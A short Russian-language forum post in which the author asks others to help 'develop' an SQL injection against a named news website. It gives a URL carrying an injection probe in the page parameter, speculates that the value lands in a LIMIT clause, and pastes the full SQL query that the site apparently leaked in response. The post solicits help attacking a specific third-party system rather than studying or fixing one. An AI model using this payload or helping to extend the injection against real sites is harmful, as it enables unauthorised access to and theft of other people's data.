Помогите раскрутить.
http://www.guljan.info/news/2012/October/2707?page=%27+OR+1=1/*
По-моему, параметр page в коде просто приводится к целому числу и вставляется
...desc limit {$page}-12, 12....
Но я могу ошибаться.

select a.* from articles as a where 1=1 AND ( (a.enable_publications_date = 1 AND a.from_publications_date 1356805614) OR a.enable_publications_date = 0 )and rubricator_id IN (1, 13, 7, 8, 10, 12, 16, 11, 25, 17, 24, 26, 23, 20, 22, 27, 19) and lang = 'ru' and a.flag_delete = '0'
order by
a.added desc, a.article_id desc
limit -36, 12